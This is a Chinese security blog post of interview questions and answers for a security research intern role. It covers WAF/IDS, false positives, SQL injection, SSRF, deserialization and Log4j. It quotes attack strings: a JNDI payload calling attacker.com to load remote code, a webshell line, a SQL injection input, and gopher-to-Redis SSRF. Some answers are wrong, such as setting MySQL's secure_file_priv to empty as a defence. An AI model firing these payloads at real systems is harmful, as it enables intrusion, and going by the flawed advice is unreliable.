网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
[1. 护网行动中的核心工作](#1. 护网行动中的核心工作)
[2. 防护层级选择(WAF/IDS)](#2. 防护层级选择(WAF/IDS))
[3. 误报治理方案](#3. 误报治理方案)
[4. 内网误报分布场景](#4. 内网误报分布场景)
[5. MySQL执行PowerShell防护](#5. MySQL执行PowerShell防护)
[6. 资产收集经验](#6. 资产收集经验)
[7. 漏洞攻击案例](#7. 漏洞攻击案例)
[8. SQL注入攻防详解](#8. SQL注入攻防详解)
[Order By防御](#Order By防御)
[9. 宽字节注入原理](#9. 宽字节注入原理)
[10. SSRF漏洞修复(Docker环境)](#10. SSRF漏洞修复(Docker环境))
[11. 反序列化漏洞解析](#11. 反序列化漏洞解析)
[12. 中间件与数据库漏洞](#12. 中间件与数据库漏洞)
[13. Log4j与JNDI攻击链](#13. Log4j与JNDI攻击链)
[Log4j RCE原理](#Log4j RCE原理)
字某某动-安全研究实习生(二面)
护网中做了什么 做哪一层处理,waf?ids? 怎么解决误报过多的情况,有做过什么规则能解决这个情况的 内网误报存在于办公网还是生产网 比如mysql也会执行powershell,怎么做防护(前面说了内网误报是因为有人写了ps脚本触发的) 在做攻防的时候,资产收集这块有没有什么经验介绍的 一个单位的一级域名可能不止一个,怎么收集某个单位的所有域名,注意不是子域名 资产收集的 经验 除了信息收集,有没有什么漏洞方面的攻击案例 sql注入的原理 如何防御sql注入 遇到order by如何防御 遇到转义字符防御时,如果遇到数据库的列名或是表面本身就带有特殊字符时,应该怎么做 宽字节注入的原理 ssrf原理 ssrf漏洞如何修复 基于黑白名单的修复,现在的生产基本上都是用的docker ,ip是随时会变得,而且docker重启后可能什么都不一样了,怎么做一个修复 fastjson反序列化原理 redis漏洞 mysql提权 shiro 反序列化原理 log4j漏洞原理 jndi的解析流程和原理
1. 护网行动中的核心工作
- 监测与响应
- 部署SIEM系统实时分析流量,结合EDR端点行为日志,对APT攻击链(如Cobalt Strike)进行深度追踪。
- 建立威胁情报联动机制,对接微步、VirusTotal等平台,快速拦截恶意IP和域名。
- 资产暴露面收敛
- 通过Shodan、FOFA等工具扫描暴露在公网的资产(如Redis、Kafka),关闭非必要端口。
- 对云上对象存储(如AWS S3、OSS)设置最小化访问策略,防止数据泄露。
- 红蓝对抗演练
- 模拟钓鱼邮件(如伪造OA登录页面)、横向渗透(利用MS17-010漏洞)等攻击手法,验证防御体系有效性。
2. 防护层级选择(WAF/IDS)
- WAF(Web应用层)
- 防御SQL注入、XSS等OWASP Top 10漏洞,基于正则规则拦截
union select
等特征。- 动态脚本防护:拦截WebShell上传行为(如
eval($_POST[cmd])
)。- IDS/IPS(网络层)
- 检测内网横向移动:如SMB协议中的PsExec命令、Mimikatz特征流量。
- 协议异常识别:如DNS隧道(长域名+Base64编码)、ICMP隐蔽通道。
- 混合部署策略
- 边界部署云WAF(如阿里云盾),内网基于Suricata实现流量镜像分析。
3. 误报治理方案
- 规则优化
- 白名单机制:对内部管理系统IP(如Jenkins、Zabbix)放行特定请求。
- 误报样本训练:收集误报日志,使用机器学习模型(如随机森林)优化规则权重。
- 上下文关联
- 结合用户身份(如VPN账号)与行为基线,区分正常运维操作与攻击。
- 示例:办公网允许PowerShell调用API,但生产网触发告警。
4. 内网误报分布场景
- 办公网误报
- 自动化脚本触发:如Ansible通过WinRM执行批量命令,被误判为恶意PowerShell。
- 解决方案:在EDR中添加脚本签名白名单。
- 生产网误报
- CI/CD流水线异常:如Docker构建过程中拉取镜像的HTTP请求含特殊字符(
${}
)。- 解决方案:在WAF中配置构建工具User-Agent放行规则。
5. MySQL执行PowerShell防护
- 权限最小化
- 禁止MySQL服务账号加入
Administrators
组,限制其仅拥有数据库操作权限。- 审计与拦截
- 启用MySQL审计插件,记录
xp_cmdshell
或sys_exec
等高危函数调用。- 在HIDS(如Osquery)中监控
powershell.exe
进程的父进程是否为mysqld.exe
。
6. 资产收集经验
- 一级域名收集方法
- 备案查询:通过工信部备案系统反查单位名称,获取所有关联域名。
- SSL证书关联:使用Censys搜索同一组织签名的证书(Subject-O字段)。
- ASN归属分析:通过IP段反向查询单位所属自治系统(ASN),提取注册域名。
- 隐蔽资产发现
- DNS历史记录:利用SecurityTrails查找已过期但未注销的域名解析记录。
- 子公司关联:通过企查查等工具获取控股公司名称,扩展搜索范围。
7. 漏洞攻击案例
- SSRF+Redis未授权访问
- 利用
gopher://
协议构造Payload,通过SSRF向Redis发送flushall
和set
命令,写入SSH公钥。- Shiro反序列化
- 硬编码AES密钥导致攻击者伪造RememberMe Cookie,触发
URLClassLoader
加载远程恶意类。- FastJSON JNDI注入
- 构造恶意JSON数据中的
@type
字段指向攻击者控制的LDAP服务,触发JdbcRowSetImpl
漏洞。
8. SQL注入攻防详解
原理
- 攻击者通过输入篡改SQL逻辑(如
' OR 1=1 --
),绕过认证或泄露数据。防御方案
- 预编译语句(PDO)
- 使用参数化查询确保输入数据仅作为字面值,而非SQL语法。
- 输入过滤
- 正则表达式拦截
'
、"
、--
等敏感字符(如/[^\w\s]/
)。- 权限控制
- 数据库账户仅授予最小权限(如禁用
FILE
、EXECUTE
)。Order By防御
- 将用户输入映射为固定字段名(如
1=>id, 2=>name
),避免直接拼接。特殊字符处理
- 对含特殊符号的列名使用反引号包裹(如
user-name
),并转义输入中的反引号。
9. 宽字节注入原理
- 成因 :数据库使用GBK编码时,
%bf%5c
会被解析为汉字"縗",导致单引号逃逸。- 修复 :统一使用UTF-8编码,并在PHP中设置
mysql_set_charset('utf8')
。
10. SSRF漏洞修复(Docker环境)
- 服务发现机制
- 通过Consul或Kubernetes Service动态获取内网服务IP,替代硬编码IP黑白名单。
- 协议限制
- 禁用非常规协议(如
file://
、gopher://
),仅允许HTTP/HTTPS。- 代理隔离
- 强制所有出站流量经过代理网关,并在网关上实施请求目标校验。
11. 反序列化漏洞解析
FastJSON
- 原理:
autoType
功能未严格校验类名,攻击者指定com.sun.rowset.JdbcRowSetImpl
触发JNDI注入。- 修复:升级至1.2.83+版本并启用
safeMode
。Shiro
- 原理:硬编码AES密钥导致攻击者构造恶意序列化数据,触发
AbstractPreferences
类RCE。- 修复:随机生成新密钥并配置
securityManager.rememberMe.cipherKey
。
12. 中间件与数据库漏洞
Redis未授权访问
- 利用方式 :通过
CONFIG SET dir
写入WebShell或SSH密钥。- 防御 :启用
requirepass
密码认证,并限制CONFIG
命令权限。MySQL提权
- UDF提权 :上传恶意SO/DLL文件,调用
sys_exec()
执行系统命令。- 防御 :设置
secure_file_priv
为空,禁止非授权目录写入。
13. Log4j与JNDI攻击链
Log4j RCE原理
- 攻击者构造
${jndi:ldap://attacker.com/Exploit}
日志内容,触发Log4j解析JNDI地址。JNDI流程
- 受害机解析恶意LDAP地址,向攻击者服务器请求类文件。
- 攻击者返回包含静态代码块(
static { ... }
)的恶意类文件。- 类加载时自动执行静态代码块中的命令(如反弹Shell)。